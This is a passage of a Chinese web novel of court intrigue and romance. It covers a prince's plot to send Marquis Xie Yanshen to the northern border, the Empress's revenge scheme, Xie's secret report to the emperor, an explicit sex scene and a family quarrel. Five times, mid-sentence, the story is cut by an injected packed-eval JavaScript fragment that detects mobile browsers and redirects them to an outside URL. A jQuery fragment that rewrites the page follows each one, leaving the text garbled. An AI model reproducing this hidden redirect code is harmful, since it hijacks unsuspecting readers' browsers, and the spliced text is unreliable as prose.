“永乐宫贼妇如今仗着腹中子，又背靠太后，这些日子，已经将秦氏门下被贬的官员复起三个，有一个还是吏部的要员！此时若是又和镇北侯对上，原本的大好局势，就再不复存了！” 任保将小几上的暖茶向对面推过去几分，不急不慢：“殿下稍安勿躁。” “依老臣看，北境那边，可以动一动了。” 承王眼中闪动：“舅父的意思……” 任保敛下双目暗光：“两江那边，最要紧的地方尚未被谢邃的人突破，无需太过担忧。只是现如今，不宜真的和镇北侯府硬碰硬，免得叫睿王渔翁得利。” “既然拦路之虎无法除去，那我们便调虎离山。” 承王眼睛亮起来，忍不住面上喜色： “舅父说的是啊，只要设法让镇北侯回北境，眼下困境便迎刃而解了。” 任保抚须沉声：“殿下先别高兴太早，在北境制造些动乱，是可以支走镇北侯，但眼下最要紧的，还是秦贵妃有孕，若是贵妃再诞下一位皇子，从前我们耗费的心力，可就真的付诸东流了。” “只是贵妃身在后宫，又有太后庇佑，老臣却是无能为力了。” 护国公府再势大，毕竟还是外臣，手伸不到宫里，想要诛杀秦贵妃腹中之子，谈何容易。 后宫之事，自然需要后宫之人来解决。 “舅父莫急，”承王扬手，正色道，“此事本王已请示过母后，母后说无需担忧。” 任保：“哦？皇后娘娘已有对策？” 承王握拳抵在唇下：“本王也不甚清楚，但母后从不虚言，既然她说了，那咱们静待即可。” 任保无言颔首。 “对了，”承王像是想起来什么，又道，“待将谢侯支出京城，便寻个时机，杀了那玉氏女吧，免得妤儿日夜难安。” “她性子犟，办不成的事总是放不下，最受不得气了，本王看着，也是不忍。”带着无奈的轻叹。 任保微皱眉，点头：“殿下说的是。” -- 凤仪宫，椒房殿。 兽鼎缓缓吐出白雾，龙涎香气与赤壁椒香交融合一，散入殿宇每一处。 夜色深浓，宫婢解开玉钩，千珠殿幔落下。 幔后影影绰绰，只隐约得见女人绝丽背影，身旁数名女官正为她褪去金红宫裙。 末了，女官之中留下一名将她扶至妆台前，小心卸着云鬓之上的凤冠，其余的均悄步退出宫殿。 沉重殿门缓缓阖上。 任皇后闭着眼，丹唇轻启：“锦乐宫那边，如何了？” 女官羽仪将手中赤金东珠钗轻放一旁，口中压低声： “已经将十皇子奶母的血书交到淑妃手上了，锦乐宫的人回禀，说淑妃一夜未眠，还将太后昔年赏赐的送子观音不慎摔碎了一角。” “奴婢瞧着，事情能成，不枉费娘娘这些年在她身上花的心血。” “本宫留她到今日，总算是有用，”任皇后睁开眼，凤目不怒自威， “若非如此，当年太后和秦氏利用她谋陷本宫、阻我儿受封东宫之时，本宫就应该了结了她。” 羽仪手上动作不停，应和：“娘娘说的是，要不是淑妃太不中用，连自己的儿子都保不住，何至于娘娘和殿下受了这么多年委屈。” “当年多好的时机，只差一步，偏偏被贵妃算计了，还有长乐宫那边，更是……” 任皇后唇角冷冷勾起：“太后年岁高了，早忘了当初在先帝宫里受尽苦楚的日子，又哪还记得，当年是怎么想方设法求本宫的父亲许婚嫁女的。” 先帝在时，诸皇子夺位之战，平武帝能潜龙出渊，坐上皇位，极大程度上是依靠护国公府，彼时，长乐宫太后的娘家秦氏羽翼未丰，根本无法提供什么助力。 平武帝登基之后，最初的几年，秦家依旧没成气候。 尽管有太后的大力扶持，秦贵妃又宠冠六宫，但秦氏一族原本的根基实在太浅，因而，当时的睿王没有和承王相争的底气。 前朝后宫，任氏风光无两，自然而然，便想再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13039057|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进一步。 先帝子嗣众多，参与夺嫡的成年皇子便有十一位，结党营私，政变频频，局面惨烈异常，几乎动摇国本。 故而平武帝方登大宝，前朝文武百官便已有不少力劝皇帝早日册立太子。 承王乃正宫嫡出，按礼法，是毫无争议的太子人选，更遑论身后有护国公府的鼎力支持。 平武帝正当壮年，本不欲太早立嗣，但也逐渐动摇，甚至说过“继朕业者，真承王也”。 然而就在这个当口，后宫出了大事。 淑妃的十皇子夭折了，死在凤仪宫，暴毙。 十皇子先天有心疾，但并不严重，只是身子比常人弱一些，不能受大惊吓，远不至于要命。 那日是冬祭前夕，清晨众妃携皇子公主来凤仪宫请安，冬祭时六宫都要随帝后一同出京去真皇山祭祀天地祖宗，任皇后按着往日章程，免不了要训些话。 当时，十皇子似乎染了风寒，屡屡咳喘，偏生年幼也克制不住自己，多次打断任皇后言语。 任皇后性情素来冷厉，当即训斥伺候十皇子的奶母，连带着淑妃也吃了挂落。 本是薄怒，训斥之后，让奶母将十皇子提前带回去修养便罢了。 谁知道，任皇后怒言刚收，十皇子便骤然倒地，身体蜷缩捂着胸口，面色异常青紫。 飞奔着要去请太医的宫人一脚刚跨出凤仪宫的大门，殿内就传来了女人凄厉嘶喊。 十皇子心疾突发，薨了。 事情发生在凤仪宫，任皇后首当其冲，被太后传至长乐宫，罚跪宫门之前。 太医院查了许久，也查不出十皇子究竟是如何身亡的，只说，或许是因为受了什么惊吓。 淑妃丧子，失心发狂，在建章宫里数度哭昏过去，醒来就是要找孩子，找不到，疯了一样自残。 一连数日，平武帝罢朝，一直陪在她身边。 淑妃出身低，但在平武帝心中分量却重，是从小就伺候他的大宫女，微末之时共苦多年，后来平武帝出宫立了王府，她便被纳做了妾室。 夺嫡之争时，淑妃为平武帝挡了三刀，两刀捅进了腹中，还有一道划在了额角，她命大，活了下来。 平武帝登基后，力排众议，给了她四妃的尊荣，淑妃虽然没有秦贵妃那样的盛势专宠，但论起与平武帝之间的默契，贵妃远不及她。 十皇子性情柔和，乖巧懂事，也很得圣心，原本，平武帝已经为他挑好了一块最富庶的封地。 任皇后在长乐宫前跪了五日，平武帝一眼都没有来瞧过，后宫动荡，前朝也跟着乱了起来，甚至有本上奏，言道皇后无德，戕害皇子，应废之。 朝局一片混乱，最后，任皇后依旧坐在凤座之上，只是由秦贵妃代掌六宫，而承王立为太子的事，就像落入沙堆的清水，了无声息了。 羽仪皱着眉，轻声：“当时陛下其实并非不相信娘娘，只是……” “现在说这些还有什么用。”任皇后打断她，眼中极冷，“本宫隐忍到如今，也腻了。” “是时候让秦氏尝尝当年亲手种下的苦果了。” 羽仪却还有些忧虑：“娘娘，宫里头有太后，淑妃心无城府，要得手怕是很难，是否要派人帮她一把？” 听见此话，任皇后的唇角反而勾起：“不必。” “若使诡谲暗计，淑妃的确难以攻破锦乐宫，但别忘了，她只是个没有脑子，只会发疯发狂的无谋妇人。” 匹夫一怒，也能血溅五步。 68.密信 大昀有制，京城百官除了上常朝，每月还需着正服以朝朔望，初一为朔朝，十五为望朝。 辰月初一，午时末，朔朝毕。 宫门大开，身着数色朝服的官员们从门内走出，多是神色凝重，三五个走在一起，低头言语。 半个时辰过去，各家各府候在宫门外的车马已经陆续离去，小黄门脚步轻快出了宫门，一路跑到北边角林立数匹大马的地方。 “郎君有礼了，今日朝上有要事，陛下留了侯爷和几位将军在御书房，怕是一时半会儿出不来，还要多些时辰，陛下身边的钱公公命我来传个信。”小黄门笑着说完。 福明领着府中护卫，原本等得焦急，听完之后终于松了口气。 “辛苦您跑这一趟，还劳烦替侯府谢过钱公公。”福明拱手，随后从袖中掏出东西，塞进面前人手中。 钱礼是平武帝身边的太监总管，这小黄门瞧着也是他的徒子徒孙，自然不能怠慢了。 小黄门笑意更浓，客套一番过后，转身离去。 一直到了申时，终于又有几道人影从宫门走出。 一行人俱是脚步沉稳，身形高大的武将，为首者官服深紫，绣麒麟纹，面容冷淡，身旁其余人你一言我一语，他听着，不置一词。 末了，武将们行礼离去，福明才牵着马上前： “侯爷。” 谢砚深翻身上了踏雪乌骓，未发一言，扬鞭策马，朝侯府方向疾驰而去。 身后众卫连忙驱马跟上。 - 珠玉院、 小门门外传来响动，半晌，门闩打开，开了一条小缝。 关嬷嬷朝外望去，只看见忠伯枯皱的脸。 “今日朝中有要事，侯爷无暇分身，差我来传个信，让姑娘在珠玉院好生歇息，不必担忧。”他低声快速说完。 关嬷嬷眼中微闪，点了点头：“明白，辛苦大管事了。” … 夜色渐起，福明站在院中，眼神向周围一扫，护卫长心领神会，手朝身后一挥，小厮全部退出，增加一倍的守卫密布主院要道。 塘沽白自屋顶飞来，落入檐下男子掌中，黑雨点双瞳发着幽亮。 手上快速解开信鸽脚上精铁信筒，而后扬臂放归。 … 密信阅过，被掷入火中，赤红渐渐吞噬帛上墨字。 谢砚深站在香鼎边，冷声：“曹义传信，已经掌握了暴乱匪首所在，预判数日后这群人应该还会有所行动，动乱有疑，尚未禀报回朝，只传信于侯府。” 福明点头：“曹将军替侯爷守着风峡关，想来不会出什么大事。但……承王那边，恐怕还有后手，今日朝上只是个前兆。” 早朝时，有本上奏，北境突发暴乱，规模不小，死了上百官兵，目前已被镇压，只是匪首逃脱，不知下落，尚在追捕当中。 朝后，平武帝将谢砚深一众武将留下，便是为的此事。 北境大战结束不过数年，百业待兴，如今边防初建，不容有任何闪失。 平武帝思虑之后，隐有派遣京中将帅前往边境坐镇的意思。 而论到对北境最了解的，莫过于镇北侯府。 “围魏救赵。”谢砚深敛眼，下了定论。 承王和护国公的谋算，显而易见。 但距离两江事发这短短时日，他们便开始了下一步行动，这样迅速，倒是有些出人意料。 福明轻嗤不屑：“任国公和承王真是在这京城里安乐太久了，目下无尘，自以为是，这点伎俩，也敢拿出来摆弄。” 北境是什么地方，侯府每一代家主都在风峡关洒过血，谢氏多少儿郎的命埋在了边关诸城。 但凡有人想在北境动什么心思，他们侯爷知道的可比陛下快得多、清楚得多。 更别说，北境的边防是谢氏历代的心血，承王和护国公想随便用些手段就搅乱边境，逼侯爷回边，简直是痴人说梦。 今日朝上侯爷按下不发，他们恐怕还沾沾自喜吧。 “侯爷，既然事情已经在掌控之中，要不要趁机……反将他们一军？”福明压低声，目含厉光。 谢砚深沉吟片刻，抬手示止。 房中寂静许久。 谢砚深踱步回书案后，沉声：“与其扬汤止沸，不如将计就计，或可拔本塞源。” “将计就计？”福明皱着鼻，“侯爷，什么意思啊？” “难不成您还真要回北境啊？逸郡王那边胆子小得很，好不容易有点动静，您这一走，他又得乌龟缩头了。” 谢砚深不回答他，而是垂首提笔，开始书文：“先前让人追查两江总督门下旧吏，收集来的东西都整理好了吗？” 福明一愣，随后连忙道：“都整理好了，那些人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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福明：“属下明白。” 说话间，笔锋停下，谢砚深直起身，信纸上的墨迹渐渐干涸，末了，叠好，递向前：“设法将此信交予楚奇。” 楚奇，大昀禁军副统领。 楚谢两家世交，若有需要，楚奇有力必帮。 福明接过信，垂首：“是！” 69.离讯 一直到初四，玉怜脂才再进了主院。 这些天谢砚深似乎忙得很，每日都叫忠伯来传信说不得闲空。 今天像是事情告一段落，刚到下朝的时辰，福明急吼吼地跑到珠玉院后头叫门了。 关嬷嬷扶着她在小路上慢慢走：“姑娘小心。” 日头晒，竹林遮蔽了大部分阳光，但总有些会从叶间穿透下来。 玉怜脂出来没戴避风挡阳的帷帽，手上握了小扇，斜遮在额角。 唇角轻勾，慢悠悠地散步，时不时欣赏竹林间栽种的花草。 走在前面的福明一步三回头，瞧着恨不得把她背起来跑，嘴上只敢讪笑着，拐着弯催促： “侯爷吩咐小厨房做了许多姑娘爱吃的菜，还有您最喜欢的金乳酥呢，若是凉了，糕点香气可就散了，姑娘……要不咱们走快些？” 玉怜脂笑眯眯地看他，柔声：“反正他也就让我吃一块，散了就散了呗。” 谢砚深管她饮食管得严，比起段素灵有过之而无不及。 皇帝还能一道菜夹三筷子呢，她顶天就两筷子，菜再多有什么用，吃得没滋没味的，吃完还有乔诚奉上的一大碗苦药。 她还不如在珠玉院自个儿用膳呢，起码关嬷嬷会在她喝完药之后让她含两颗蜜饯。 福明挠挠头，笑得尴尬：“侯爷也是为您的身子着想……” 玉怜脂轻飘飘瞥他一眼，不理他，接着漫步。 好长一段时辰，总算是走到了主院。 进了厅里，桌上的菜刚回灶上热过一遍端来。 谢砚深的脸黑了一半，见她进来，眼神投过来像刀子似的。 下人们有眼色地退出去，玉怜脂不紧不慢走到他面前，抬手。 食指点了一下他皱紧的眉心。 不等他开口，她搂住他的脖颈，紧密贴着他侧身坐下，笑吟吟地：“生气啦？” 裙摆下的小腿悬空，晃晃荡荡，绣鞋跟有一搭没一搭，隔着袍子踢在他长靴上。 男人长臂环在她腰上，声音带着不易察觉的愠怒：“未时了。” 午时叫的她，主院和珠玉院走小路就那么点距离，她未时才到。 他治军时，一向重罚逾时者。 “真生气了？”玉怜脂凑近，捧着他的脸，鼻尖轻轻蹭着他的，声音软而细， “你好几日不见我，我都没生你气，你却来刻薄我，好没道理。” 她带着身上幽郁绵绕的香气，柔软贴着他，像一袭缝着花瓣与轻棉的云被，把他裹着锁在里头。 他刚要张口说话，唇就被缠住了，没有时间思考克制与否，黏纠更深。 几日不与她亲近，他当然想她想得紧。 等她喘不上气时，才难舍地分开。 玉怜脂眼前都是泪水的模糊，低下头，身上衣裙都有些揉乱了，她两颊红着，靠回男人肩上，没力气收拾。 谢砚深为她抚平衣裙凌乱，压着她的背安抚， 许久，抱着她放在身旁软凳上，随后唤人。 婢子小厮端了膳前净口的器物温水进来，又是一番折腾。 玉怜脂懒洋洋坐在凳上，撑着下巴，看谢砚深娴熟给她布菜。 食不言寝不语。 用完膳，盯着她把熬好的药喝下后，谢砚深给她端过去温水。 随后肃声：“怜娘。” 玉怜脂饮了口清水，抬头：“嗯？” “北境动乱，陛下或有派我回边镇守之意，若暴乱一直不平，旨意真的下来，我会离开京城，归期……不定。”平地惊雷。 当啷脆响，她手里的杯盏砸到地上。 脸色一下变得惨白，难以置信，发声也艰难起来：“你，你说什么……？” 谢砚深， 要回北境？ 他要离开京城？ 这怎么可以呢？ 他若是在这个时候走了，那—— 那她先前的谋算，岂不都是空付了？！ 谢砚深面色也凝重起来，召来人收拾地上残片，房门再度关紧。 “怜娘，这是国事。”他一字一句，不容置否。 玉怜脂深呼吸着，强迫自己听进去这些，但这噩耗一样的消息忽如其来，打得她措手不及，脑中一片混乱。 “北境，不是平安了吗？他们都说，关外元气大伤，无力进犯了。”她抿了抿唇，白着脸， “怎么你才回来了一年多，就又出事了？” 谢砚深眼中锐光瞬闪而过，话语滴水不漏：“此次是内乱，并非外敌，所以朝廷更加重视，北地民风彪悍，暴动并不稀见。” 玉怜脂只觉得胸口开始隐隐疼痛起来，呼吸沉重，但还撑着继续问：“那，一定要是你吗？京城里头那么多武将……” 谢砚深摇了摇头：“只有我最合适。” 侯府门匾之上的“镇北”二字，不是虚封的。 “可是，可是你走了……”她眼角的泪滑下来，泫然欲泣，“你走了，我怎么办？” “你还说要娶我，你还说要替我报仇，你说的话都是不作数的，都是拿来哄我的，是吗？” 她的眼睛通红，哭着质问他，委屈极了。 心头猛然一痛，谢砚深长臂一伸，将她抱入怀中，低声：“自然不是。” “怜娘，你要相信我，我答应你的事，一定会做到。” 玉怜脂的泪越流越凶，啜泣着：“那你就不要走。” 她从他怀里抬起头，握着他的手，泪珠滑下细白脸颊，落在袍摆上。 “砚郎，你不要去好不好，我害怕……”她说时断断续续，“你要是不在了，太夫人，一定不会放过我的，还有那些要杀我的人……” 谢砚深眉心锁紧，拿锦帕轻拂去她的泪，沉声：“不要怕。” “我会安排好一切，你什么都不用担心。” “等我回来……我们就成亲。”最后一句很轻，轻到像是专为她安心的哄骗。 玉怜脂却不着痕迹地一滞，随后复又伏进他怀中。 -- 段素灵收到信，急入侯府中。 推开房门，玉怜脂正坐在小榻上打香篆，听见动静，抬眼唤她：“阿姊。” 段素灵阖上门，走向她：“姑娘叫我来叫得这样急，是出了什么事？” 玉怜脂把灰押往旁边放好，唇角轻勾：“他要回北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13117353|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 境了。” 不声不响，抛出个火雷。 段素灵刚坐下的身体立刻僵直，反应不过来：“什么？” “谁要回北境？” 她明知道这个“他”是谁，却不由自主重复问。 玉怜脂神色淡然：“说是北境动乱，陛下可能要派他回边镇守一段时日。” “这！”段素灵急得站起来，“镇北侯，真的要走？！” 在这个时候？！ 玉怜脂点点头。 段素灵眼中的火都要冒出来了：“难道镇北侯真的不管姑娘的事了？！他走了，润安堂那边还不变着法地坑害您？更何况还有护国公府那边虎视眈眈！亏他还拿爵位发过誓！” “阿姊莫要急，”玉怜脂摆摆手，示意她坐下。 段素灵呼吸急促，在原地深呼吸片刻，又坐回榻上。 等她饮了口茶，冷静下来，玉怜脂才缓声说道：“我觉得，此事有异。” 段素灵一怔：“有异？” 玉怜脂颔首，接着道：“北境百废待兴，边防稳固，早不乱，晚不乱，偏偏在两江出事、我挑衅护国公府之后乱起来，我不大懂朝局，但这未免也太巧了些。” “倒像是声东击西呢。” 要说这里头没承王和护国公府的手笔，她总不大相信。 谢砚深不和他们结盟，他们又暂时除不掉他，所以调虎离山，论起来，非常合理。 段素灵眯起眼：“姑娘的意思是，这是承王一党所为，目的就是要将谢侯调离京城？” 说完，她又疑虑：“可我们能想到的，谢侯怎么会不知道？谢侯守边多年，北境是他掌控的地界，恐怕这点小计俩瞒不过他的眼，可听姑娘的意思，谢侯并不抗拒回边。” 玉怜脂垂下眼：“这正是我疑虑的地方。” 谢砚深最后对她说的一句话是，等他回来，他们就成亲。 他明知她心里一直记挂着父母的旧案，案子不解决，她怎么可能安心同他在一起。 再有，他在云山观中说时局不稳，不是成亲的好时机，那么他现在又说等他回来就成亲。 难道他回来了，时局就安定了？ 他镇压北境暴乱，对京中局势能有什么影响，除非，他不是去守边。 段素灵心中焦急：“姑娘，若谢侯真就是回边驻守呢？难不成我们要赌吗？姑娘，若是赌输了，承王真上了位，谢侯又回不来，咱们可真就万劫不复了。” “还不如趁着现在京中动荡，宫里贵妃有孕，承王一党焦头烂额，去找那位高大夫人，还有谢滨大人，想法子让他们庇护您离开，留得青山在，才不怕没柴烧啊。” 良久静默。 “不，我要赌。”玉怜脂抿唇，眼中放空。 因为她没有退路了。 若是她身体康健，哪怕十年，二十年，三十年，她都等得起。 可她没有那样的幸运。 她不赌别的，就赌她对谢砚深的了解。 赌输了，也不过一死而已。 那样也好，毕竟就算事成，她也不想留下。 这些年，她做梦都想早一点见到爹娘，一家团圆，是乐事。 70.夜奏 辰月初九，北境急报，暴乱再起，匪众于燕北顺云、庆蔚两城纵火，城中损失惨重，上千军兵与百姓重伤。 匪首已然捕获，然同党分散逃窜，后患未清。 平武帝震怒，欲贬惩两城守将与府吏，然朝廷少有戍边良将，一时竟找不到人替换。 朝上，数位大臣推举镇北侯回边戍守，平息暴乱。 帝默然，不置可否。 -- 夜深，六宫沉寂，太监宫女提着宫灯小步穿梭在幽森宫道上，如同一具具游魂。 宫城之上立高楼，禁军持弓佩刀，火把光亮投射下琉璃瓦，凡有异动，长箭上弦待发。 建章宫，御书房。 穿戴银甲的粗犷男人从殿中走出，身后雕龙沉门缓缓闭上。 “楚副统领。”钱礼守在门边，朝他示意。 楚奇拱手回礼：“钱公公，陛下有旨，今夜之事绝不能外传，若有抗旨作乱者，杀无赦。” 钱礼浑浊目中一凛：“奴才明白。” … 平武帝双手撑在御案之上，垂首，脊背不再挺直。 此时此刻，受命于天的天子，竟然也有颓累无力的一面。 许久，他身体猛地一晃，跌坐回龙椅上。 右手掩半面，声音灰哑：“……谢卿，汝可知，陷蔑当朝皇后、亲王囤兵谋反，是何罪？” 谢砚深跪于殿中，身上是夜行玄袍，沉声：“陛下，臣为陛下之臣，为朝廷将官，对陛下与大昀尽忠，故虽事涉皇后娘娘、承王殿下，兹事体大，也不敢不报。” “所呈证状，臣以性命担保，无一伪造，两江之疑早已有之，非以臣一己之力可以杜撰，臣受陛下之命，忝为枢密副使，若隐瞒实情，以至兵祸再起，臣便是万死也难赎己罪。” 平武帝放下手，终是开口：“谢卿，起来吧。” “谢陛下。”谢砚深站起身，面无表情。 平武帝神色暗然，叹息一般：“皇后，多年辅佐，与朕年少结发。承王，朕之次子，正宫嫡出，幼时，朕一手教导。” “而护国公府……四朝老臣，当年，勤王护驾，助朕平息京城逆王之乱。护国公曾指太庙为誓，愿永世为大昀忠臣。”言语中，是不忍，怀念。 谢砚深淡然：“陛下，遥想高平陵之变，舞阳宣文侯也曾有洛水之誓。” 话语落下，平武帝脸色骤变。 舞阳宣文侯指洛水为誓，若武安侯交出兵权，绝不伤武安侯及其亲信，然而事变方休，舞阳宣文侯便以谋逆之名，屠灭武安侯三族。 军政权移，皇室因之势弱，进而贼臣篡国。 争天下，何念仁义，遑论旧情。 谢砚深垂眸拱手，肃声：“陛下，还请速下决断，不论幕后真相如何，两江隐患也绝不可再任之由之，否则将有裂国覆朝之祸。” 平武帝猛地站起身。 “陛下若不放心，可调遣可信之人监军。”谢砚深道。 殿中死寂。 最后，案上御笔被提起。 -- 棱花窗半开着，春夜的凉风挟着廊外花瓣飘进来。 玉怜脂倾力仰着头，长软乌发落出窗外，檀口吐着热气， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122879|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半阖着眼，花坠在她眉上，花影遮着她的眼睫。 撞得深了些，她扣在窗沿的白细五指倏地松开，抚向胸前，压住一片让肌肤密痒的深黑。 揪住，轻扯。 埋首的男人顺势抬起头，唇上濡湿，眼眸亮极，锐如鹰眄枭视 “轻些……”她忍不住泣声抱怨。 谢砚深咬她的耳珠，声音彻底哑了：“你喜欢重一些。” 他最知道。 她缠着他，像玉瓶上绕着瓶身的糜金花枝。 却又有不同，她的缠人是越来越紧，心口不一。 玉怜脂推他，掌心的肉软，压在他的脸上。 他这些日总往京郊大营去，脸上起了扎人的青根，眼睛看不大出来，手按上去，才发现刺得很。 怪得他今日咬她摩她，比往日重这么多，怕是她身上早红了。 “后头是窗，疼呀……”她哭着，推了两把，又把手抽回来，“……你还刺人呢，难受，走开……” 男人没有怒气，反而低低笑起来，抱着她离开窗，倒在小榻上： “不刺。” 玉怜脂浑身发麻，又气又恼，但是说不完一句话。 扎的又不是他，他当然不刺了。 但她无暇想这么多，很快又坠入云境。 迷昏之时，还不忘软声问他：“……你，你不在，我，我会被赶出府吗……？” “不会。”他贴着她的耳朵，安抚，“我会留人给你，守卫、暗卫，不会有人能杀你……润安堂那边，我也会去解决。” “……好……唔……” 71.心念 初十常朝，帝深忧北境暴动，恐城防有失，关外蛮夷趁机扰边，届时内忧外患，北境大乱。 欲着勇谋、威望俱高者回边领军，察修边防工事。 群臣进谏，多推举镇北侯前往，帝允之，遂钦点镇北侯急赴北境，平乱安民。 辰月十一，天使携圣旨入侯府。 … 正门大开，众人皆立于门前，目送禁军护送车驾渐行远去。 王老太君站在最前处，脸色霎时黑下来，狠狠瞪向身侧站着的人。 再瞥向他手上捧着的圣旨，目光刮过那金帛玉轴，冷哼一声，身旁的甘嬷嬷立刻上前，扶着她回府。 其余人不敢先动，谢砚深面容冷淡，回身移步跟上。 … 润安堂。 甘嬷嬷挥了挥手，珠帘掀起，婢子端着热茶奉上，而后快步退出。 谢砚深坐在下首，默然饮茶。 “朝廷这么多武官，偏偏派你！”王老太君松力撑在案上，扶额怒叹， “北民生性直悍，故而北境多有动乱，有什么稀奇，怎么出了点事就要让你回边？那帮征虏将军、平北将军，都是在北境吃空饷的不成！” 人才回来多久，就又一道圣旨调回去了。 这一走，天知道何年何月才是归期。 时间长了，长信宫太皇太后那边如若出事…… 王老太君越想越恼，猛地拍案：“谢氏为大昀尽心尽力，陛下就不能体恤一二，缓些日子？你的亲事——” “母亲，”谢砚深淡然打断她，“令有缓急，当以国事为重。” 王老太君没他那么从容，冷静不下来：“可你的婚事怎么办？你这一去，是不是又要三年五载不回来？” “你年岁已经不小了，再没个消息，我如何向你父亲交代，你也无颜见你祖父祖母！” 提到故去的宁国夫人和老侯爷，谢砚深的面色有了变化。 眼神沉了下来，但还未说话。 王老太君看见他这副样子，更是气不打一处来，深呼吸好几回，才平了气。 心下思索几番，眯起眼：“我不同你绕弯子，那日花会，梅府的幺娘你也瞧见了，人家的女儿是千娇万宠出来的，品性良佳，一家好女百家求，不是钟家那等死缠滥打的，非要你不可。这些日子你不松口，梅府早相看了别家，我老婆子纵使想再求，也没脸了。” “依我看，如今，只有庆姗……” 谢砚深冷声：“母亲，无需费心了。” “我绝不可能迎娶安平伯之女。”斩钉截铁。 甚至不再唤赵庆姗“表妹”。 王老太君一噎，怒从心起：“你这是什么意思？！上回你蛮横，打伤庆吉，你姨母姨父不追究，捧着你，你反倒不念他们的好？庆姗哪里不好，知书达礼，还配不得你了？” “那你想要谁？莫非，你还想着珠玉院那个？！” 本是激动下的怒言，但真脱口而出后，思绪像是骤然打开。 王老太君脸色大变，怒目圆睁，盯紧眼前的人。 却瞧见他冷然垂眸，并不反驳。 心中还有什么不明白。 “……怎么？”王老太君声线都有些气怒的抖，“我说中你的心坎了？” “你果然对那个孽女有心思。”她点着头冷笑。 上回四时园，她急怒之下的骂言，谢砚深听完，一言不发就走了。 他心思深，少言寡语，故而她也瞧不透他到底是默认，还是大吵过后，根本不想再与她争辩。 如今，是都分明了。 谢砚深侧首，和满面冷怒的老妇人对视。 片刻，终于开口：“母亲说的不错，我的确心悦她。” 终于听见他亲口承认，王老太君只觉得头脑昏眩。 急喘几下，咬牙切齿：“她是什么身份，你是什么身份？一个，商贾出身的低贱女子，配得上我镇北侯府的门楣吗？！你尚未婚娶，若是房中有这么个女人，将来如何议亲？你将谢氏，将王氏，将祖祠里那块丹书铁券都置于何地？！” “她是你庶长兄要认的义女，是你的子侄辈！你想干什么？你这是色令智昏！” 谢砚深冷视她，沉声：“母亲，慎言。” 王老太君几乎要气得发笑：“慎言？你鬼迷心窍，如今竟然敢掉过头教训起我了？！” “逆子！跪下！” 谢砚深从椅上起身，向前几步，撩袍跪地，向她俯身深拜。 而后面无表情，站起身。 王老太君不是第一次见他忤逆，心口隐约发疼：“你！” “我让你跪下！” 谢砚深直视她，冷道：“我走后，母亲必定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152187|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 设法将她逐出府去，对否？” 王老太君眯起眼：“你待如何？春分花会，她已经相看了人选，便是我不逐她，她也要走。” “你想留她做妾？我告诉你，想都别——” 谢砚深面容沉静：“我不会留她做妾。” 骤然被打断，王老太君怒气一滞。 谢砚深接着道：“母亲若想不起波折，在我回京之前，留她在府中。陛下遣我回边，但事情不大，最多半年，我便会回来。” 王老太君刚消下去的火气又涨起来了：“什么意思？你到底想干什么？” “待我回京，会亲办她的婚事。”他目中沉暗，说道。 王老太君眉心一皱：“你，亲办她的婚事？” “是，”谢砚深抬眼，“我不会纳她为妾，也不会收她做通房，如今时局不稳，她仇家追入京城，若出府必死无疑。我领兵归来后，会一手操办她的婚事，为她……寻觅佳婿。” “……为何？”王老太君眼中全是疑云，“你……” 他敛眸，幽然：“溯洄从之，道阻且长，溯游从之，宛在水中央。念在心中，辗转反侧。母亲处处阻我，此念反长，何时能消？” 王老太君眼中闪动，张了张口，一时无言。 亲手毁去执念，倒像是他的行事作风。 她的儿子她清楚，为帅者总有傲气，她若是再继续阻挠，他反生逆心，而且，他不是随口说空话的人。 且他说的也不无道理，她要是强行扭送走玉怜脂，他心里反而一直念念不忘。 王老太君沉着脸，又问：“但她若是已经选定了人，非要走，难不成我还要拦着?” 